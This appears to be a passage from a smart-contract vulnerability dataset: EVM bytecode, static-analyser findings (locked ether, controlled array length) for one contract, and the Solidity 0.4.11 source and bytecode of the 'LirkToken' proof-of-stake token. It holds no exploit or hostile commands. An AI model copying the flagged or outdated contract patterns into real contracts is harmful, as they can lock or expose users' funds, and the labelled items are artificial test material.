0390911614611cf6576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b336000908152600260205260409020600501805484908110611d1457fe5b906000526020600020906003020160000182815481101515611d3257fe5b9060005260206000200154905092915050565b336000818152600160208190526040822001549091600160a060020a0390911614611da8576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b336000908152600160205260409020600301805483908110611dc657fe5b90600052602060002001549050919050565b600054600160a060020a031681565b3360008181526001602081905260408220015490918291600160a060020a031614611e4a576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b5050600160a060020a03929092166000908152600260208181526040808420338552600180845282862085015486529301825280842094845293815283832094835293909352208054910154909160ff90911690565b3360008181526001602081905260409091200154600160a060020a031614611f00576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b33600090815260016020526040902054811115611f67576040805160e560020a62461bcd02815260206004820152601f60248201527f596f7520646f6e277420686176652074686174206d616e7920746f6b656e7300604482015290519081900360640190fd5b33600090815260016020526040902054611f87908263ffffffff61313c16565b3360009081526001602052604090205550565b600054600160a060020a03163314611fea576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206136d3833981519152604482015290519081900360640190fd5b600160a060020a03808316600090815260026020526040902060010154161561201257600080fd5b600160a060020a0380831660009081526001602081905260409091200154161561203b57600080fd5b600160a060020a039091166000818152600260205260409020600181018054600160a060020a03191690921790915555565b3360008181526002602052604081206005018054919283928392839288929091908390811061209857fe5b6000918252602090912060016003909202010154600160a060020a0316146120f8576040805160e560020a62461bcd02815260206004820152601a6024820152600080516020613733833981519152604482015290519081900360640190fd5b33600090815260026020526040902060050180548890811061211657fe5b600091825260209091206003909102015493508392505b838210156121945733600090815260026020526040902060050180548890811061215357fe5b90600052602060002090600302016000018281548110151561217157fe5b90600052602060002001548614156121895790915082905b60019091019061212d565b8383106121eb576040805160e560020a62461bcd02815260206004820181905260248201527f746865206c6f616e206973206e6f7420696e2074686520706f7274666f6c696f604482015290519081900360640190fd5b3360009081526002602052604090206005018054600191908990811061220d57fe5b60009182526020909120600390910201540383146122b95733600090815260026020526040902060050180548890811061224357fe5b90600052602060002090600302016000016001850381548110151561226457fe5b60009182526020808320909101543383526002909152604090912060050180548990811061228e57fe5b9060005260206000209060030201600001848154811015156122ac57fe5b6000918252602090912001555b3360009081526002602052604090206005018054889081106122d757fe5b9060005260206000209060030201600001600185038154811015156122f857fe5b60009182526020808320909101829055338252600290526040902060050180548890811061232257fe5b600091825260209091206003909102018054906123439060001983016135ee565b5033600090815260026020526040902060050180548890811061236257fe5b600091825260209091206003909102015415156123825761238287610d3f565b5060019695505050505050565b33600081815260026020526040812060010154909182918291600160a060020a03909116146123f6576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b600160a060020a038516600081815260026020526040902060050180548690811061241d57fe5b6000918252602090912060016003909202010154600160a060020a03161461248f576040805160e560020a62461bcd02815260206004820152601f60248201527f6e6f7420746865206f776e6572206f66207468617420706f7274666f6c696f00604482015290519081900360640190fd5b600160a060020a03851660009081526002602052604090206005018054859081106124b657fe5b60009182526020808320600390920290910154600160a060020a038816835260029091526040909120600501805491945090859081106124f257fe5b600091825260208083206002600390930201820154600160a060020a038916845291905260409091206005018054919350908590811061252e57fe5b6000918252602090912060016003909202010154929591945050600160a060020a039091169150565b3360008181526002602052604081206001015490918291600160a060020a0316146125ba576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b50503360009081526002602081815260408084209684529590910181528482209382529283528381209181529152208054600190910154909160ff90911690565b600054600160a060020a0316331461264b576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206136d3833981519152604482015290519081900360640190fd5b600160a060020a03808316600081815260026020526040902060010154909116146126c0576040805160e560020a62461bcd02815260206004820152600a60248201527f6e6f7420612042616e6b00000000000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0382166000908152600260205260409020546126e9908263ffffffff61312316565b600160a060020a0390921660009081526002602052604090209190915550565b612711613588565b3360008181526001602081905260409091200154600160a060020a031614612771576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b600160a060020a03808516600081815260026020526040902060010154909116146127e6576040805160e560020a62461bcd02815260206004820152601060248201527f6e6f7420612076616c69642062616e6b00000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038416600090815260026020818152604080842033855260018084528286208501548652930182528084208785528252808420868552909152909120015460ff161515612884576040805160e560020a62461bcd02815260206004820152601b60248201527f796f75206e6f74206170706c7920666f722074686174206c6f616e0000000000604482015290519081900360640190fd5b828152600160a060020a038416600090815260026020818152604080842033855260018352818520840154855290920181528183208684528152818320858452905290205481516128da9163ffffffff61312316565b81523360808201818152600160a060020a0395861660a08401818152602080860196875260009485526001808252604080872060029081015460c08a0190815260e08a019b8c52958852808452818820600490810180548086018255908a52949098208951600a90950201938455985191830191909155860151968101969096556060850151600387015591519285018054938816600160a060020a03199485161790559051600585018054919097169216919091179094559251600682015590516007820155610100820151600882015561012090910151600990910155565b336000818152600160208190526040822001549091600160a060020a0390911614612a1e576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b503360009081526001602052604090206002015490565b336000818152600260205260408120600101549091600160a060020a0390911614612a98576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b50600160a060020a031660009081526002602052604090206005015490565b33600081815260026020526040902060010154600160a060020a031614612b16576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b33600090815260026020526040902054811115612b7d576040805160e560020a62461bcd02815260206004820152601f60248201527f596f7520646f6e277420686176652074686174206d616e7920746f6b656e7300604482015290519081900360640190fd5b33600090815260026020526040902054612b9d908263ffffffff61313c16565b3360009081526002602052604090205550565b33600081815260026020526040902060010154600160a060020a031614612c0f576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b336000908152600260208181526040808420988452979091018152868220958252948552858120938152929093529290209182556001909101805460ff1916911515919091179055565b33600081815260026020526040902060050180548492919083908110612c7b57fe5b6000918252602090912060016003909202010154600160a060020a031614612cdb576040805160e560020a62461bcd02815260206004820152601a6024820152600080516020613733833981519152604482015290519081900360640190fd5b336000908152600260205260408120600501805485908110612cf957fe5b600091825260209091206003909102015411612d1457600080fd5b336000908152600260205260409020600501805483919085908110612d3557fe5b906000526020600020906003020160020181905550505050565b336000818152600260205260408120600101549091600160a060020a0390911614612db2576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b33600090815260026020526040902054821115612dce57600080fd5b600160a060020a0384166000908152600260205260408120600501805485908110612df557fe5b600091825260209091206003909102015411612e1057600080fd5b600160a060020a0384166000908152600260205260408120600501805485908110612e3757fe5b906000526020600020906003020160020154111515612e5557600080fd5b600160a060020a0384166000908152600260205260409020600501805483919085908110612e7f57fe5b906000526020600020906003020160020154141515612e9d57600080fd5b33600090815260026020526040902054612ebd908363ffffffff61313c16565b3360009081526002602052604080822092909255600160a060020a03861681522054612eef908363ffffffff61312316565b600160a060020a0385166000908152600260205260409020555b600160a060020a0384166000908152600260205260409020600501805484908110612f3057fe5b6000918252602090912060039091020154811015612fab57600160a060020a03841660009081526002602052604090206005018054612fa391869186908110612f7557fe5b906000526020600020906003020160000183815481101515612f9357fe5b9060005260206000200154613153565b600101612f09565b600160a060020a03841660009081526002602052604090206005015460001901831461309057600160a060020a038416600090815260026020526040902060050180546000198101908110612ffc57fe5b90600052602060002090600302016002600086600160a060020a0316600160a060020a031681526020019081526020016000206005018481548110151561303f57fe5b6000918252602090912082546003909202019061305f9082908490613485565b506001828101549082018054600160a060020a031916600160a060020a039092169190911790556002918201549101555b600160a060020a0384166000908152600260205260409020600501805460001981019081106130bb57fe5b600091825260208220600390910201906130d582826134d5565b50600181018054600160a060020a031916905560006002918201819055600160a060020a03861681526020919091526040902060050180549061311c9060001983016134f6565b5050505050565b60008282018381101561313557600080fd5b9392505050565b6000808383111561314c57600080fd5b5050900390565b600080600060038481548110151561316757fe5b60009182526020909120600a9091020154116131f3576040805160e560020a62461bcd02815260206004820152602960248201527f6174206c65617374206f6e65206f6620746865206c6f616e7320697320616c7260448201527f6561647920706169640000000000000000000000000000000000000000000000606482015290519081900360840190fd5b83600160a060020a031660038481548110151561320c57fe5b600091825260209091206005600a909202010154600160a060020a03161461323357600080fd5b600160a060020a0384166000908152600260205260409020600301548110156132ce57600160a060020a038416600090815260026020526040902060030180548491908390811061328057fe5b906000526020600020015414156132c657600160a060020a03841660009081526002602052604090206003015490915081906132c390600163ffffffff61312316565b90505b600101613233565b33600090815260026020908152604080832060039081018054600181018255908552928420909201869055600160a060020a0387168352909120015460001901821461337f57600160a060020a03841660009081526002602052604090206003018054600019810190811061333f57fe5b6000918252602080832090910154600160a060020a03871683526002909152604090912060030180548490811061337257fe5b6000918252602090912001555b600160a060020a0384166000908152600260205260409020600301805460001981019081106133aa57fe5b60009182526020808320909101829055600160a060020a038616825260029052604090206003018054906133e29060001983016135ee565b5060006003848154811015156133f457fe5b90600052602060002090600a0201600301819055503360038481548110151561341957fe5b90600052602060002090600a020160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555050505050565b81548183558181111561348057600a0281600a0283600052602060002091820191016134809190613612565b505050565b8280548282559060005260206000209081019282156134c55760005260206000209182015b828111156134c55782548255916001019190600101906134aa565b506134d192915061367c565b5090565b50805460008255906000526020600020908101906134f3919061367c565b50565b815481835581811115613480576003028160030283600052602060002091820191016134809190613696565b606060405190810160405280606081526020016000600160a060020a03168152602001600081525090565b8280548282559060005260206000209081019282156134c5579160200282015b828111156134c557825182559160200191906001019061356d565b61014060405190810160405280600081526020016000815260200160008152602001600081526020016000600160a060020a031681526020016000600160a060020a03168152602001600081526020016000815260200160008152602001600081525090565b8154818355818111156134805760008381526020902061348091810190830161367c565b6112ae91905b808211156134d1576000808255600182018190556002820181905560038201819055600482018054600160a060020a031990811690915560058301805490911690556006820181905560078201819055600882018190556009820155600a01613618565b6112ae91905b808211156134d15760008155600101613682565b6112ae91905b808211156134d15760006136b082826134d5565b50600181018054600160a060020a03191690556000600282015560030161369c56006e6f7420746865206f776e6572000000000000000000000000000000000000006e6f74206120636c69656e740000000000000000000000000000000000000000796f7520617265206e6f7420612062616e6b00000000000000000000000000006e6f7420746865206f776e6572206f6620706f7274666f6c696f000000000000a165627a7a7230582024f65ed399acede686fdbc6a402674a8f74ee6f70d91902a9cb97e9852614bbb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,697
0x71871f8d10b2965e06dc29b1be7122086aeb11e0
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title LirkTokenStandard * @dev the interface of LirkTokenStandard */ contract LirkTokenStandard { uint256 public stakeStartTime; uint256 public stakeMinAge; uint256 public stakeMaxAge; function mint() returns (bool); function coinAge() constant returns (uint256); function annualInterest() constant returns (uint256); event Mint(address indexed _address, uint _reward); } contract LirkToken is ERC20,LirkTokenStandard,Ownable { using SafeMath for uint256; string public name = "Lirk"; string public symbol = "LIRK"; uint public decimals = 18; uint public chainStartTime; //chain start time uint public chainStartBlockNumber; //chain start block number uint public stakeStartTime; //stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**17; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function LirkToken() { maxTotalSupply = 10**25; // 10 Mil. totalInitialSupply = 10**24; // 1 Mil. chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) { if(msg.sender == _to) return mint(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; uint64 _now = uint64(now); transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } function ownerBurnToken(uint _value) onlyOwner { require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalInitialSupply.sub(_value); maxTotalSupply = maxTotalSupply.sub(_value*10); Burn(msg.sender, _value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610159578063095ea7b3146101e95780631249c58b1461024e57806318160ddd1461027d5780631e1b13c0146102a857806323b872dd146102d35780632a9edf6f146103585780632ab4d05214610385578063313ce567146103b057806342cbb15c146103db5780635b054f9b1461040657806370a08231146104315780637419f1901461048857806388d695b2146104b35780638da5cb5b1461057457806390762a8b146105cb57806395d89b41146105f85780639fd4da4014610688578063a9059cbb146106b3578063b2552fc414610718578063cbd8877e14610743578063cd474b041461076e578063dd62ed3e14610799578063e1c3bac614610810578063f2bb5ce11461083b578063f2fde38b14610866575b600080fd5b34801561016557600080fd5b5061016e6108a9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610947565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b50610263610ace565b604051808215151515815260200191505060405180910390f35b34801561028957600080fd5b50610292610e41565b6040518082815260200191505060405180910390f35b3480156102b457600080fd5b506102bd610e47565b6040518082815260200191505060405180910390f35b3480156102df57600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b5061038360048036038101908080359060200190929190505050611449565b005b34801561039157600080fd5b5061039a6114cf565b6040518082815260200191505060405180910390f35b3480156103bc57600080fd5b506103c56114d5565b6040518082815260200191505060405180910390f35b3480156103e757600080fd5b506103f06114db565b6040518082815260200191505060405180910390f35b34801561041257600080fd5b5061041b6114f7565b6040518082815260200191505060405180910390f35b34801561043d57600080fd5b50610472600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114fd565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611546565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b5061055a600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061154c565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b50610589611bf1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105d757600080fd5b506105f660048036038101908080359060200190929190505050611c17565b005b34801561060457600080fd5b5061060d611f4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064d578082015181840152602081019050610632565b50505050905090810190601f16801561067a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069457600080fd5b5061069d611fec565b6040518082815260200191505060405180910390f35b3480156106bf57600080fd5b506106fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff2565b604051808215151515815260200191505060405180910390f35b34801561072457600080fd5b5061072d6124d5565b6040518082815260200191505060405180910390f35b34801561074f57600080fd5b50610758612589565b6040518082815260200191505060405180910390f35b34801561077a57600080fd5b5061078361258f565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612595565b6040518082815260200191505060405180910390f35b34801561081c57600080fd5b5061082561261c565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b50610850612622565b6040518082815260200191505060405180910390f35b34801561087257600080fd5b506108a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612628565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093f5780601f106109145761010080835404028352916020019161093f565b820191906000526020600020905b81548152906001019060200180831161092257829003601f168201915b505050505081565b6000808214806109d357506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109de57600080fd5b81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600f54600e54101515610ae357600080fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610b355760009150610e3d565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111515610b8a5760009150610e3d565b610b9333612704565b9050600081111515610ba85760009150610e3d565b610bbd81600e5461281e90919063ffffffff16565b600e81905550610c1581601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ca39190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050503373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a2600191505b5090565b600e5481565b6000610e53334261283c565b905090565b6000806000606060048101600036905010151515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610eb157600080fd5b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250610f8285601160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101785601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106d8584612ae290919063ffffffff16565b601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36000601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156111e957601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111e89190612b16565b5b429150601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280876fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600193505050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a557600080fd5b6000600a54111580156114ba57506008548110155b15156114c557600080fd5b80600a8190555050565b600f5481565b60075481565b60006114f260095443612ae290919063ffffffff16565b905090565b60085481565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b6000806000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115b057600080fd5b600087511180156115c2575085518751145b15156115cd57600080fd5b60009350600092505b85518310156116185761160986848151811015156115f057fe5b906020019060200201518561281e90919063ffffffff16565b935082806001019350506115d6565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115151561166657600080fd5b429150600090505b8651811015611927576116f7868281518110151561168857fe5b90602001906020020151601160008a858151811015156116a457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b60116000898481518110151561170957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060136000888381518110151561176357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604080519081016040528088848151811015156117c057fe5b906020019060200201516fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ff